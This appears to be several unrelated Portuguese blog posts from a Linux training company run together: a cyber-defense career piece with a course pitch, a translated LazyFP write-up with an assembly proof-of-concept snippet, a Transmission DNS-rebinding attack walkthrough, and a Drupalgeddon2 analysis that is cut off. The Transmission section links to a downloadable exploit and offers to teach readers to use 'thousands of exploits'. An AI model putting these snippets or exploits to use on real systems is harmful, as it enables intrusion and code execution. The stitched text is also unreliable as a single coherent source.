A transformação digital acelerou a forma como empresas operam, armazenam dados e se conectam com clientes. Mas, junto com essa evolução, cresceram também os riscos digitais — e, com eles, a importância da defesa cibernética.

Ataques cibernéticos, vazamentos de dados, ransomwares e invasões corporativas se tornaram parte da realidade de empresas de todos os tamanhos — e o impacto financeiro dessas ameaças nunca foi tão alto.

Segundo o relatório Cost of a Data Breach 2024, da IBM, o custo médio global de um vazamento de dados chegou a US$ 4,88 milhões em 2024, registrando um aumento de 10% em relação ao ano anterior.

E o Brasil é destaque entre os países com maior número de violações de dados. De acordo com o relatório Global Data Breach Statistics, realizado pela Surfshark, 84,6 milhões de contas de usuários foram violadas no país em 2024.

Ao mesmo tempo, o mercado enfrenta uma escassez global de profissionais especializados em segurança digital. O estudo 2024 Cybersecurity Workforce Study, da ISC2, aponta que o déficit mundial de profissionais em cibersegurança já ultrapassa 4,7 milhões de pessoas.

Uma pesquisa da Ford em parceria com o Datafolha revelou que só no Brasil, 98% das empresas enfrentam dificuldade para contratar profissionais de tecnologia.

Ou seja, na prática, a demanda por especialistas em defesa cibernética cresce mais rápido do que a capacidade do mercado de formar profissionais qualificados.

E é justamente por isso que a área vem sendo considerada uma das carreiras mais promissoras da próxima década.

Mas afinal, o que é defesa cibernética?

Defesa cibernética é o conjunto de estratégias, tecnologias e práticas utilizadas para proteger sistemas, redes, servidores, aplicações e dados contra ataques digitais.

Com a evolução da tecnologia e o aumento da digitalização das empresas, essas ameaças se tornaram mais sofisticadas e proteger ambientes digitais passou a ser prioridade em muitos casos.

Por isso, o foco da defesa cibernética é prevenir invasões, identificar vulnerabilidades e responder rapidamente a incidentes de segurança.

Cibersegurança VS. defesa cibernética

Embora muitas vezes sejam tratados como sinônimos, existe uma diferença importante entre cibersegurança e defesa cibernética.

A cibersegurança é um conceito mais amplo, que envolve políticas, governança, proteção de dados e segurança digital de forma geral.

Já a defesa cibernética possui um foco mais operacional e estratégico na proteção ativa de ambientes e infraestruturas digitais.

Ou seja: enquanto a cibersegurança define estratégias de proteção, a defesa cibernética atua diretamente na prevenção, monitoramento e resposta às ameaças.

Por que a área de Defesa Cibernética está crescendo tanto?

O crescimento da área não acontece por acaso.

Ele é resultado de uma combinação de fatores tecnológicos, econômicos e comportamentais que transformaram a segurança digital em prioridade para empresas do mundo inteiro.

Essas são algumas delas:

Crescimento dos ataques digitais

Os ataques cibernéticos evoluíram.

Hoje, criminosos utilizam automações, inteligência artificial e técnicas cada vez mais sofisticadas para explorar vulnerabilidades em empresas, governos e usuários comuns.

Entre os ataques mais frequentes estão:

• Ransomwares: ataques que bloqueiam sistemas ou criptografam arquivos da empresa, exigindo pagamento para restaurar o acesso aos dados.
• Roubo de credenciais: quando criminosos conseguem acessar logins, senhas e informações de autenticação de usuários ou colaboradores para invadir sistemas internos.
• Sequestro de dados: ataques voltados para capturar informações sensíveis, como dados financeiros, documentos internos ou informações de clientes, muitas vezes usados para extorsão.
• Invasões em ambientes cloud: ataques direcionados a infraestruturas em nuvem, explorando configurações incorretas, permissões excessivas ou falhas de segurança em plataformas cloud.
• Ataques contra APIs e aplicações web: exploração de vulnerabilidades em sistemas, sites e integrações para acessar dados, comprometer aplicações ou interromper serviços digitais.

Além do prejuízo financeiro, incidentes de segurança também afetam reputação, operação e confiança de clientes.

Por isso, empresas passaram a investir mais em prevenção, monitoramento e resposta a incidentes.

Falta de profissionais qualificados

Enquanto os ataques aumentam, o mercado enfrenta dificuldade para contratar especialistas preparados.

Essa escassez aumenta a valorização de profissionais especializados e cria oportunidades para quem deseja entrar na área.

Empresas de tecnologia, bancos, fintechs, indústrias, startups e organizações públicas disputam profissionais com conhecimentos em diferentes áreas da segurança e infraestrutura digital, como:

• Linux: sistema operacional amplamente utilizado em servidores, cloud computing e ambientes corporativos. Profissionais com domínio de Linux costumam atuar na administração, proteção e monitoramento de infraestruturas críticas.
• Redes: conhecimento essencial para entender como sistemas, dispositivos e servidores se comunicam. Essa base ajuda profissionais a identificar falhas, monitorar tráfego suspeito e proteger ambientes corporativos.
• Cloud computing: área responsável por ambientes em nuvem, como AWS, Azure e Google Cloud. Com a migração de empresas para a cloud, cresce também a necessidade de proteger infraestruturas e dados armazenados nesses ambientes.
• Análise de vulnerabilidades: processo de identificar falhas de segurança em sistemas, aplicações e redes antes que elas sejam exploradas por criminosos.
• Segurança ofensiva: área que simula ataques reais para encontrar brechas de segurança. Profissionais dessa área realizam testes e avaliações para ajudar empresas a fortalecer suas defesas digitais.
• Resposta a incidentes: atuação focada em investigar, conter e minimizar impactos de ataques cibernéticos, vazamentos de dados e invasões em ambientes corporativos.

Transformação digital acelerada

Nos últimos anos, empresas de todos os setores aceleraram sua digitalização. Sistemas migraram para a nuvem, equipes passaram a trabalhar remotamente e operações inteiras se tornaram cada vez mais conectadas.

Na prática, isso trouxe mais agilidade, escalabilidade e eficiência para os negócios. Porém, quanto mais sistemas, dispositivos e aplicações conectados, maior é a chamada “superfície de ataque”.

Dessa forma, maior também é a quantidade de pontos que podem ser explorados por criminosos virtuais. Hoje, muitas empresas operam utilizando tecnologias como:

• cloud computing
• inteligência artificial
• containers
• Kubernetes
• automações DevOps
• ambientes multi-cloud

Essas ferramentas revolucionaram a forma como empresas desenvolvem, armazenam e distribuem dados e aplicações. No entanto, também criaram novos desafios de segurança.

Um ambiente em nuvem mal configurado, por exemplo, pode expor dados sensíveis. APIs vulneráveis podem abrir portas para invasões. Automatizações sem monitoramento adequado podem gerar brechas difíceis de identificar.

Além disso, o crescimento do trabalho remoto ampliou ainda mais os riscos, já que colaboradores passaram a acessar sistemas corporativos a partir de diferentes dispositivos, redes e locais.

Por isso, a defesa cibernética deixou de ser apenas uma preocupação técnica do setor de TI. Proteger ambientes digitais se tornou uma necessidade estratégica para empresas que dependem da tecnologia para operar, crescer e manter a confiança de clientes e parceiros.

O que faz um profissional de Defesa Cibernética?

O profissional de defesa cibernética atua protegendo sistemas, redes, aplicações e dados contra ameaças digitais. Mas, na prática, a área vai muito além da ideia de “evitar hackers”.

Esses profissionais trabalham para identificar riscos antes que eles se tornem problemas reais, monitorar ambientes digitais e responder rapidamente a possíveis ataques ou falhas de segurança.

Em um cenário onde empresas dependem cada vez mais de cloud computing, sistemas conectados e operações digitais, a segurança deixou de ser apenas uma camada extra de proteção, ela passou a fazer parte da continuidade do negócio.

Por isso, profissionais da área costumam atuar em diferentes frentes da segurança digital. Entre as principais atividades estão:

• Monitoramento de ambientes e redes: acompanhamento contínuo de servidores, sistemas e tráfego de rede para identificar comportamentos suspeitos, acessos indevidos ou possíveis tentativas de ataque.
• Análise de vulnerabilidades: identificação de falhas de segurança em sistemas, aplicações ou infraestruturas antes que criminosos possam explorá-las.
• Investigação de incidentes: análise de eventos suspeitos para entender como um ataque aconteceu, quais sistemas foram afetados e como reduzir impactos.
• Análise de logs: interpretação de registros gerados por servidores, aplicações e dispositivos para rastrear atividades, detectar anomalias e investigar ameaças.
• Hardening de servidores: processo de reforçar a segurança de sistemas e servidores, reduzindo vulnerabilidades e removendo riscos desnecessários.
• Testes de segurança: simulações e análises práticas realizadas para encontrar brechas em aplicações, redes e ambientes corporativos.
• Controle de acessos: gerenciamento de permissões e autenticações para garantir que apenas usuários autorizados tenham acesso a sistemas e informações sensíveis.
• Implementação de políticas de segurança: criação de regras, processos e boas práticas para proteger ambientes corporativos e reduzir riscos operacionais.
• Resposta a ataques e invasões: atuação rápida para conter incidentes, minimizar danos e restaurar a segurança dos sistemas afetados.

Como os ambientes tecnológicos se tornaram cada vez mais integrados, esse profissional também costuma trabalhar em conjunto com diferentes equipes da área de tecnologia.

Por isso, conhecimentos em infraestrutura, cloud computing, redes, Linux, DevOps, automação e compliance acabam se tornando diferenciais importantes para quem deseja crescer na área.

Principais áreas de atuação em Defesa Cibernética

A defesa cibernética é uma área ampla e multidisciplinar.

Conforme o profissional evolui na carreira, é possível seguir diferentes caminhos de especialização, desde áreas mais defensivas e estratégicas até funções focadas em testes de invasão e segurança ofensiva.

Essa variedade permite que cada profissional desenvolva habilidades específicas de acordo com seus interesses, perfil técnico e objetivos de carreira.

Algumas das áreas mais conhecidas são:

• Blue Team: profissionais focados em defesa, monitoramento e proteção de ambientes contra ataques.
• Red Team: especialistas que simulam ataques reais para identificar vulnerabilidades e testar a segurança das empresas.
• SOC Analyst: responsável pelo monitoramento contínuo de incidentes e alertas de segurança em centros de operações de segurança (SOC).
• Pentester: profissional que realiza testes de invasão controlados para encontrar falhas antes que elas sejam exploradas por criminosos.
• DevSecOps: área que integra segurança aos processos de desenvolvimento e automação de infraestrutura.
• Cloud Security: foco na proteção de ambientes em nuvem, cada vez mais utilizados por empresas modernas.
• Threat Intelligence: análise de ameaças, padrões de ataque e comportamento de grupos criminosos para antecipar riscos digitais.

Essa variedade de possibilidades faz com que a área de defesa cibernética seja uma das mais dinâmicas da tecnologia atualmente, permitindo que profissionais sigam caminhos mais técnicos, estratégicos, ofensivos ou voltados para gestão de segurança.

Quanto ganha um profissional de Defesa Cibernética?

Os salários variam conforme experiência, certificações e nível técnico.

Além disso, a área de atuação também influencia diretamente a remuneração do profissional.

Embora os valores possam variar de acordo com região, porte da empresa e nível de especialização, algumas médias praticadas pelo mercado brasileiro ajudam a entender o potencial da carreira.

Profissionais iniciantes já encontram oportunidades competitivas no mercado, especialmente quando possuem conhecimentos práticos em Linux, redes e segurança.

Dependendo da senioridade da sua experiência, sua faixa salarial pode variar de R$ 3.500 a R$ 15.000.

Já profissionais especializados em Cloud Security, DevSecOps, Pentest, resposta a incidentes e engenharia de segurança tendem a alcançar salários ainda mais elevados.

Para esses especialistas, a faixa salarial pode começar com R$ 5.000 e ultrapassar R$ 20.000, especialmente em posições mais avançadas.

Outro diferencial importante é que a área possui uma alta demanda contínua, oferecendo oportunidades internacionais, trabalho remoto e até atuação em empresas globais.

Com a crescente digitalização das empresas, a tendência é que a valorização desses profissionais continue aumentando nos próximos anos.

Como começar carreira em Defesa Cibernética?

Entrar na área de defesa cibernética pode parecer desafiador no início, principalmente porque muitas pessoas associam segurança da informação a um universo extremamente técnico e distante da realidade de quem está começando.

A carreira em defesa cibernética é construída em etapas, desenvolvendo fundamentos sólidos e ganhando experiência prática ao longo do caminho.

E existe um ponto importante que diferencia profissionais que conseguem evoluir mais rápido no mercado: a combinação entre conhecimento técnico, prática real e direcionamento.

As empresas não procuram apenas pessoas que conhecem conceitos teóricos. Elas precisam de profissionais capazes de entender ambientes reais, identificar vulnerabilidades, analisar riscos e atuar diante de problemas concretos.

Antes de tudo é necessário dominar os fundamentos que sustentam toda a área de segurança:

• Redes: entender como sistemas e dispositivos se comunicam é essencial para identificar vulnerabilidades, monitorar tráfego e analisar possíveis ameaças.
• Linux: dominar o sistema operacional é um diferencial importante para quem deseja atuar com segurança.
• Segurança ofensiva e defensiva: compreender tanto a lógica dos ataques quanto as estratégias de proteção ajuda o profissional a atuar de forma mais completa.
• Análise de vulnerabilidades: aprender a identificar falhas antes que elas sejam exploradas é uma das habilidades mais valorizadas pelo mercado.
• Ambientes reais de mercado: mais do que teoria, é importante desenvolver experiência prática em laboratórios, simulações e cenários próximos da realidade corporativa.

O primeiro passo: construir uma base sólida em Linux e infraestrutura

Grande parte das infraestruturas modernas funcionam sobre ambientes Linux.

Servidores, cloud computing, containers, automações DevOps e ferramentas de segurança frequentemente utilizam Linux como base operacional. Isso faz com que o sistema esteja presente em praticamente todas as áreas da segurança da informação.

Na prática, entender Linux ajuda o profissional a:

• administrar servidores
• analisar permissões e acessos
• monitorar processos
• identificar comportamentos suspeitos
• automatizar tarefas
• compreender ambientes corporativos reais

Segurança cibernética exige uma combinação de teoria e prática

Com o aumento dos ataques digitais e da transformação tecnológica das empresas, cresce também a busca por profissionais que consigam atuar em cenários modernos de infraestrutura e segurança.

Por isso, um dos erros mais comuns de quem está começando é consumir apenas conteúdo teórico sem aplicar os conhecimentos em ambientes práticos.

Na segurança da informação, a prática faz diferença. Aprender a analisar vulnerabilidades, interpretar logs, proteger sistemas e identificar ameaças exige contato com laboratórios, simulações e situações próximas da realidade do mercado.

É justamente por isso que cursos com abordagem prática e acompanhamento técnico costumam acelerar o desenvolvimento profissional.

Aulas ao vivo, interação com especialistas e exercícios aplicados ajudam o aluno a entender não apenas “o que fazer”, mas principalmente como resolver problemas reais.

Certificações também ajudam a fortalecer a carreira

Além da experiência prática, certificações podem funcionar como um diferencial importante no mercado.

Elas ajudam a validar conhecimentos técnicos e demonstram comprometimento com a evolução profissional.

Dependendo da área de interesse, algumas certificações bastante valorizadas incluem:

• LPIC
• Security+
• CEH
• certificações cloud
• certificações DevOps
• especializações em segurança ofensiva e defensiva

Mas vale um ponto importante: certificações costumam gerar mais resultado quando o profissional já possui uma base sólida e experiência prática.

Por isso, a combinação entre formação técnica, prática em laboratório e preparação para certificações tende a ser o caminho mais eficiente para quem deseja crescer na área.

Quer construir uma carreira em Defesa Cibernética? Comece pela base certa

A crescente demanda por profissionais de defesa cibernética mostra que o mercado precisa, cada vez mais, de especialistas capazes de proteger sistemas, dados e infraestruturas críticas.

Mas, apesar das inúmeras oportunidades, existe um ponto em comum entre os profissionais que conseguem crescer na área: todos construíram uma base técnica sólida antes de avançar para especializações mais complexas.

Conhecimentos em Linux, infraestrutura, redes, cloud computing e automação continuam sendo alguns dos pilares mais importantes para quem deseja atuar com segurança da informação.

Por isso, antes de pensar em ferramentas específicas ou certificações avançadas, é fundamental desenvolver uma compreensão prática sobre como os ambientes corporativos funcionam na realidade.

Formação Linux Force ajuda profissionais a compreender ambientes Linux

Na Linux Force, essa formação acontece por meio de uma metodologia focada em prática, acompanhamento técnico e aplicação real dos conhecimentos.

Os treinamentos abordam desde os fundamentos de Linux e infraestrutura até temas mais avançados relacionados a cloud, DevOps e segurança da informação, preparando profissionais para desafios que fazem parte do mercado atual.

Com aulas online e 100% ao vivo, nossa formação proporciona conhecimentos em infraestrutura e os fundamentos necessários para evoluir para áreas como Defesa Cibernética, Cloud Security, DevSecOps e Segurança da Informação.

Além do conteúdo técnico, os alunos têm contato com laboratórios práticos, acompanhamento de especialistas e uma metodologia voltada para situações reais encontradas no mercado de tecnologia.

Para quem busca uma carreira em defesa cibernética, investir na formação certa pode ser o primeiro passo para aproveitar um dos mercados mais promissores da tecnologia.

FAQ

Precisa saber programação para trabalhar com Defesa Cibernética?

Não necessariamente. Muitas funções de entrada exigem mais conhecimentos em Linux, redes, sistemas operacionais e infraestrutura do que programação. Com o tempo, aprender linguagens de script pode se tornar um diferencial.

Dá para começar na área do zero?

Sim. Muitos profissionais iniciam a carreira sem experiência prévia em segurança da informação. O mais importante é construir uma base sólida em Linux, redes e infraestrutura.

Linux é obrigatório para trabalhar com Defesa Cibernética?

Embora não seja obrigatório em todas as funções, Linux é uma das habilidades mais valorizadas pelo mercado. Grande parte dos servidores, ambientes cloud e ferramentas de segurança utiliza esse sistema operacional.

Quanto tempo leva para aprender Defesa Cibernética?

O aprendizado é contínuo, mas muitas pessoas conseguem desenvolver uma base sólida em alguns meses de estudo estruturado e prática constante.

Vale a pena estudar Defesa Cibernética em 2026?

Sim. O crescimento dos ataques digitais, a transformação tecnológica das empresas e a escassez de profissionais qualificados fazem da defesa cibernética uma das áreas mais promissoras da tecnologia atualmente.

No início deste ano, Julian Stecklina (Amazon) e Thomas Prescher (Cyberus Technology) descobriram em conjunto e divulgaram com responsabilidade outra vulnerabilidade  e chamaram de LazyFP . O LazyFP (CVE-2018-3665) é um ataque direcionado a sistemas operacionais que usam comutação lenta de FPU. Este artigo descreve o que esse ataque significa, descreve como ele pode ser atenuado e como ele realmente funciona.

Resumo e Implicações

A divulgação pública desta vulnerabilidade foi inicialmente adiada por um embargo típico de informações de divulgação responsável até agosto, mas os primeiros rumores levaram a que essa data fosse descartada.

O estado do registro da unidade de ponto flutuante (FPU), que consiste nos conjuntos de registros AVX, MMX e SSE, pode ser vazado nos limites do domínio de proteção. Isso inclui vazamentos nos limites de processos e máquinas virtuais.

O estado da FPU pode conter informações confidenciais, como chaves criptográficas. Como exemplo, o conjunto de instruções Intel AES (AES-NI) usa registradores FPU para armazenar chaves redondas. Só é possível explorar quando o sistema operacional ou hypervisor subjacente usa a comutação de FPU lenta.

Outro caso de uso interessante dessa vulnerabilidade é a criação de canais ocultos de alto desempenho entre as VMs. Ao usar todos os conjuntos de registros e controlar a frequência de programação do núcleo, é possível maximizar a taxa de transferência até o intervalo de MB / s.

Os usuários são afetados quando executam uma combinação de processador afetado e sistemas operacionais afetados.

• Sistemas Operacionais Afetados:
  • Linux:
    • versões do kernel <4.9 com parâmetros de inicialização não padrão ( eagerfpu=off ) são afetados
    • versões do kernel <4.6 rodando nos processadores Intel afetados antes do Haswell ou com parâmetros de inicialização personalizados ( eagerfpu=off ou noxsave )
    • versões do kernel 4.4.y com y <138 tem um bug em sua ansiosa troca de FPU
    • versões do kernel <3.7 em todas as CPUs afetadas
    • As versões do kernel Linux começando com 4.9 não são afetadas, independentemente da CPU.
  • FreeBSD
  • Microsoft Windows, consulte o aviso ADV180016
• Hipervisores afetados:
  • KVM quando executado em versões de kernel do Linux afetadas
  • Todas as versões do Xen e geralmente todos os hipervisores que empregam comutação preguiçosa do FPU
• CPUs afetadas quando o sistema operacional afetado ou o hipervisor é usado:
  • Verificamos o problema na microarquitetura Intel Core de Sandy Bridge para Skylake
  • Estado de outros processadores não é claro neste momento

A atenuação requer que o software do sistema use a comutação ansiosa FPU em vez da comutação lenta do FPU.

Antecedentes Técnicos

Esta vulnerabilidade é semelhante ao Meltdown (CVE-2017-5754) . Enquanto o Meltdown permitia ler o conteúdo da memória protegida de um programa de espaço do usuário, esse novo ataque permite ler determinados conteúdos de registro nos limites do domínio de proteção.

Para explorar a vulnerabilidade, o invasor acessa os registros FPU que ele não tem permissão para acessar ainda. Esse valor proibido é alimentado em um cálculo de endereço que é usado para um acesso de memória subseqüente. A CPU executará esta série de instruções especulativamente, ou seja, o conteúdo do registro correspondente é esmagado quando detecta seu erro.

Em seguida, ele tenta ler / gravar de / para um endereço de memória que contém o valor de registro proibido como parte de seu deslocamento de endereço. A CPU executará especulativamente essa série de cargas e armazenamentos, mas detectará e corrigirá seu erro.No entanto, essa execução especulativa deixa rastros no cache que podem vazar informações ocultas para o invasor.

Para entender melhor como esse ataque realmente funciona, é necessário aprofundar o funcionamento interno do x86 FPU e como ele é usado pelos sistemas operacionais.

A unidade de ponto flutuante (FPU)

Nos primórdios do x86, o FPU (também chamado de coprocessador matemático) era um coprocessador externo que poderia ser adicionado à arquitetura de processador x86 adotada agora pela Intel. O Intel 8087 foi o primeiro co-processador matemático de ponto flutuante deste tipo. O objetivo dessa extensão era acelerar as operações matemáticas em números de ponto flutuante, como divisão e multiplicação. Com o modelo de CPU Intel 486DX (lançado em 1989), o FPU foi integrado ao próprio microchip. Dessa forma, nenhum coprocessador adicional era necessário.

Ao longo dos anos, o processador foi estendido para suportar conjuntos de instruções de instrução única, dados múltiplos (SIMD), ou seja, MMX / SSE / AVX. As instruções SIMD executam a mesma operação matemática em vários pares de operandos ao mesmo tempo para melhorar o desempenho. Cada uma dessas extensões de conjunto de instruções introduziu novos conjuntos de registradores que continuam sendo gerenciados como parte do estado do registro da FPU. Em processadores Intel recentes, o estado do registrador FPU pode conter mais de 2 kB de dados (o AVX2 oferece 32 registradores de 512 bits cada, o que se traduz em um estado de processador adicional de 2 kB). Devido à utilidade destas instruções, este conjunto de registros pode conter não apenas valores de ponto flutuante, mas também outros dados como, por exemplo, valores inteiros.

Carregando e armazenando o estado do FPU

Para habilitar a multitarefa, os sistemas operacionais interrompem periodicamente os processos para dar a outros processos a chance de serem executados. Caso contrário, um único processo que faz um loop para sempre poderia parar o sistema.

Quando o sistema operacional alterna de um processo para outro, ele precisa salvar o estado do processo anterior e restaurar o estado do processo que está prestes a ser executado. Este estado consiste nos valores armazenados em registradores de propósito geral e registros FPU.

A arquitetura de instruções x86 fornece várias instruções para carregar / armazenar o estado do registrador da FPU de / para a memória. Já sabemos sobre o tamanho grande do estado da FPU, portanto, é bastante óbvio que não se deseja ler e gravar tais quantidades de dados em todas as mudanças de contexto, a menos que seja realmente necessário, porque nem todos os processos usam a FPU.

Comutação FPU ansiosa e lenta

O comutador FPU ansioso é comparável a salvar o estado de registrador de propósito geral em um comutador de contexto. Para cada processo, o sistema operacional reserva uma área na memória para salvar o estado da FPU. Ao alternar de um processo para outro, ele executa uma instrução de armazenamento de FPU para transferir o conteúdo da FPU atual para a área de salvamento do estado. Em seguida, ele carrega o novo estado FPU da área de salvamento do estado do processo que está prestes a ser planejado.

A comutação FPU preguiçosa otimiza este procedimento para o caso em que nem todo processo usa o FPU o tempo todo.

Após uma troca de contexto, a FPU é desativada até ser usada pela primeira vez. Só então, o antigo estado FPU será salvo e o correto será restaurado da memória. Até este ponto, o FPU mantém o estado do registro do processo ou da VM que o usou por último.

Para implementar essa otimização, o kernel do sistema operacional desabilita temporariamente o FPU definindo um certo bit de registro de controle ( CR0.TS ). Se este bit estiver definido, qualquer tentativa de acessar o FPU causará uma exceção ( #NM , Dispositivo não disponível, Nenhum coprocessador matemático ). Quando a exceção ocorre, o kernel pode salvar o estado antigo na respectiva área de estado e restaurar o estado do processo atual. Os processos que simplesmente não usam o FPU nunca acionam essa exceção e, portanto, nunca acionam armazenamentos e cargas de estado do FPU.

Começando com a introdução da arquitetura x86-64 , a presença de pelo menos algumas extensões de conjuntos de instruções SIMD é obrigatória e seu uso se tornou mais difundido.Como tal, a suposição subjacente de comutação de FPU preguiçosa não é mais válida. O ganho de desempenho pela comutação preguiçosa do FPU tornou-se insignificante, e alguns núcleos já o removeram em favor de troca rápida.

O ataque

O ataque funciona lendo o conteúdo do registro FPU enquanto o FPU está desabilitado e divulgando o conteúdo através de um canal lateral baseado em cache. Neste ponto, o FPU contém o conteúdo do registro do último processo que o utilizou.

Para tornar esse ataque prático, é necessário ocultar a exceção que normalmente ocorre ao acessar o FPU. Encontramos três maneiras diferentes de fazer isso:

Executando o ataque na sombra de um pagefault

Todas as três versões funcionam de forma semelhante. Uma versão simplificada do pagefault poderia ser assim:

mov dword [0], 0         ; Aciona um pagefault
movq rax, xmm0           ; Lê o conteúdo de xmm0, acionando #NM
and rax, 1               ; máscara bit 0
shl rax, 6               ; alinhando à linha de cache
mov dword [mem + rax], 0 ; acessando "mem" com offset dependendo do conteúdo de xmm0

O ataque

O truque aqui é que a exceção #NM nunca ocorre, porque a instrução que toca no registrador FPU xmm0 é executada apenas especulativamente. No entanto, o local da memória tocado depende do valor de xmm0 e esse valor pode ser recuperado usando o mesmo ataque flush-and-reload que também é usado no Meltdown e no Specter. mem é apenas um buffer de memória comum que é acessível ao aplicativo. Neste ponto, estamos de volta ao estado inicial e podemos tentar novamente o ataque para vazar todo o estado do registro, bit por bit (sempre mascarando um bit diferente na etapa and do snippet de código).

OBS:  Note que o código de exemplo neste artigo apenas lê um único bit por uma questão de simplicidade. Mas a prova de conceito dos descobridores da vulnerabilidade lê vários bytes ao mesmo tempo, a fim de reduzir ainda mais o tamanho da janela de tempo necessária.

Existem outros 2 métodos de ataque que a pedido da Intel não foram publicados pelos descobridores da falha.

Praticabilidade

A praticabilidade do ataque varia de acordo com os diferentes métodos para empregá-lo: O atacante precisa de uma janela de tempo em que nenhuma interrupção pelo sistema operacional ocorra para ler todos os bits do registro, porque toda preempção tem a chance de alterar o estado do registrador e tornar o resultado inútil. Assim, quanto mais rápido o método de ataque, maior a probabilidade de sucesso.

Mitigação

Usando servidores Linux com versões de kernel> = 3.7, este ataque pode ser mitigado adicionando “ eagerfpu=on ” aos parâmetros de inicialização do kernel. Não temos conhecimento de uma solução alternativa para versões mais antigas. Para todos os outros sistemas operacionais: instale as atualizações oficiais do fornecedor.

Não estamos cientes de uma penalidade de desempenho causada pelo uso de uma rápida troca de FPU. A mensagem de commit do patch do kernel do Linux que fez com que o FPU ansioso mudasse o padrão dos sistemas Linux até mesmo aponta que as suposições que justificaram a comutação lenta do FPU no passado não se sustentam mais na maioria dos sistemas modernos.

Pesquisa e tradução: Marcio Mariano Galvão – Team Linux Force.

Fonte: blog.cyberus-technology.de

Devemos agradecer esta descoberta ao team do Project Zero do Google, mais especificamente a Tavis Ormandy. Para quem não sabe, o Project Zero se trata de um team de engenheiros do Google especializado em descobrir falhas de segurança, o mesmo team que descobriu as falhas nos processadores Intel e outras arquiteturas recentemente. Vale lembrar que o mesmo tipo de falha muito provavelmente está presente em outros aplicativos de torrent segundo afirmações de Ormandy.

De acordo com a vulnerabilidade relatada, Usando um ataque do tipo DNS Rebinding os atacantes podem assumir o controle dos sistemas dos usuários criando um nome DNS com o qual estão autorizados a se comunicar e, em seguida, redirecionam para o nome “localhost” do computador vulnerável. Em uma publicação separada ao publicar o patch para o mesmo, Ormandy afirmou que o ataque ocorre da seguinte maneira:

1. Um usuário visita http://attacker.com , que tem um <iframe> para um subdomínio que o invasor controla.
2. O invasor configura seu servidor DNS para responder alternadamente com 127.0.0.1 e123.123.123.123 (um endereço que eles controlam) com um TTL muito baixo.
3. Quando o navegador resolve o 123.123.123.123 , eles atendem HTML que espera que a entrada do DNS expire (ou forçam a expirar inundando o cache com pesquisas), então eles têm permissão para ler e definir cabeçalhos.

Usando a vulnerabilidade acima, o invasor pode alterar o diretório de download do Torrent para o diretório inicial do usuário e, em seguida, fazer a Transmissão baixar um Torrent chamado “.bashrc” que seria executado automaticamente na próxima vez que o usuário abrir uma bash Shell. Os atacantes também ganham a capacidade de configurar remotamente a transmissão para executar qualquer comando de sua escolha depois de um download ter sido concluído.

Segue abaixo link para Download do Exploit direto do Github da Offensive Security:

Download: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/43665.zip

O arquivo esta em formato MD após sua extração, formato utilizado e recomendado pelo Github para desenvolvedores, qualquer dúvida pesquisem antes.

Quer ser um profissional de segurança da informação e aprender a utilizar este entre outros milhares de exploits? basta chamar em nosso chat online e falar com um de nossos atendentes para tirar todas as dúvidas.

Para os usuários Linux e fãs de torrent assim como nós, fica a dica de nosso team > Em computador usado para trabalho com dados que precisam ser resguardados, menos e sempre mais, quanto mais cru e enxuto for seu sistema que usa para trabalho, mais seguro ele será!

Fontes: Google Security Research, Exploit-db.com

[mautic type=”form” id=”4″]

Especialistas alertaram na época que a exploração da vulnerabilidade, apelidada de Drupalgeddon2 , era iminente. No entanto, demorou cerca de duas semanas para que uma exploração de prova de conceito (PoC) se tornasse publicamente disponível.

Pesquisadores da Check Point e especialistas em Drupal da Dofinity trabalharam juntos para descobrir a vulnerabilidade e na quinta-feira publicaram uma análise técnica detalhada e que nós da Linux Force Security traduzimos para o português e disponibilizamos logo abaixo:

Detalhes técnicos

A vulnerabilidade

Para fornecer algumas informações básicas, a API Form do Drupal foi introduzida no Drupal 6 e permitiu a alteração dos dados do formulário durante o processo de renderização do formulário. Isso revolucionou a forma como o processamento de marcação foi feito.

No Drupal 7, a API Form foi generalizada para o que hoje é conhecido como “Renderable Arrays”. Essa API estendida é usada para representar a estrutura da maioria dos elementos da interface do usuário no Drupal, como páginas, blocos, nós e muito mais.

Matrizes renderizáveis ​​contêm metadados que são usados ​​no processo de renderização. Esses arrays renderizáveis ​​são uma estrutura de valor-chave na qual as chaves de propriedade começam com um sinal de hash (#). Por favor, veja abaixo um exemplo:

[
‘#type’ => ‘marcação’,
‘#markup’ => ‘<em> algum texto </ em>’,
‘#prefix’ => ‘<div>’,
‘#suffix’ => ‘</ div>’
]

Patch do Drupal

O patch que o Drupal publicou adiciona uma única classe chamada RequestSanitizer com um método stripDangerousValues que anula todos os itens em uma matriz de entrada para chaves que começam com um sinal de hash. Esse método limpa os dados de entrada em $ _GET, $ _POST & $ _COOKIES durante os primeiros estágios do bootstrap do Drupal (imediatamente após carregar as configurações do site).

Assumimos que uma das razões pelas quais o patch foi feito dessa maneira foi dificultar a localização e a exploração da vulnerabilidade.

Encontrando um Vector de Ataque

Por causa do acima, nos concentramos em formulários que são expostos a usuários anônimos.

Existem alguns desses formulários disponíveis, um dos quais é o formulário de registro do usuário. Este formulário contém vários campos, como pode ser visto na captura de tela abaixo.

Figura 1: O formulário de registro do Drupal.

Sabíamos que precisávamos injetar um array renderizável em algum lugar na estrutura do formulário, só precisávamos descobrir onde.

Quando isso acontece, o campo “Endereço de e-mail” não limpa o tipo de entrada que recebe. Isso nos permitiu injetar um array na estrutura do array de formulários (como o valor do campo de email).

Figura 2: Injetando nosso array renderizável na entrada de email do formulário de registro.

Figura 3: Exemplo de matriz renderizável de formulário injetado.

Agora tudo o que precisávamos era que o Drupal processasse nosso array injetado. Como o Drupal trata nossa matriz injetada como um valor e não como um elemento, precisamos enganar o Drupal para renderizá-lo.

As situações em que o Drupal renderiza matrizes são as seguintes:

1. Carregamento de página
2. Drupal AJAX API – ou seja, quando um usuário preenche um formulário AJAX, uma solicitação é feita ao Drupal, que renderiza uma marcação HTML e atualiza o formulário.

Após investigar possíveis vetores de ataque em torno das funcionalidades acima, por causa do processo de renderização pós-submissão e do modo como o Drupal o implementa, chegamos à conclusão de que uma chamada API AJAX é nossa melhor opção para alavancar um ataque.

Como parte do formulário de registro do usuário, o campo “Imagem” usa a API AJAX do Drupal para enviar uma imagem para o servidor e substituí-la por uma miniatura da imagem carregada.

Figura 4: Formulário usado para enviar uma imagem usando a API do AJAX.

Mergulhar no retorno de chamada de upload do arquivo AJAX revelou que ele usa um parâmetro GET para localizar a parte do formulário que precisa ser atualizada no cliente.

Figura 5: Código da função de retorno de chamada do ‘upload file’ do AJAX.

Depois de apontar element_parents para a parte do formulário que continha nosso array injetado, o Drupal o processou com sucesso.

Armamento Drupalgeddon 2

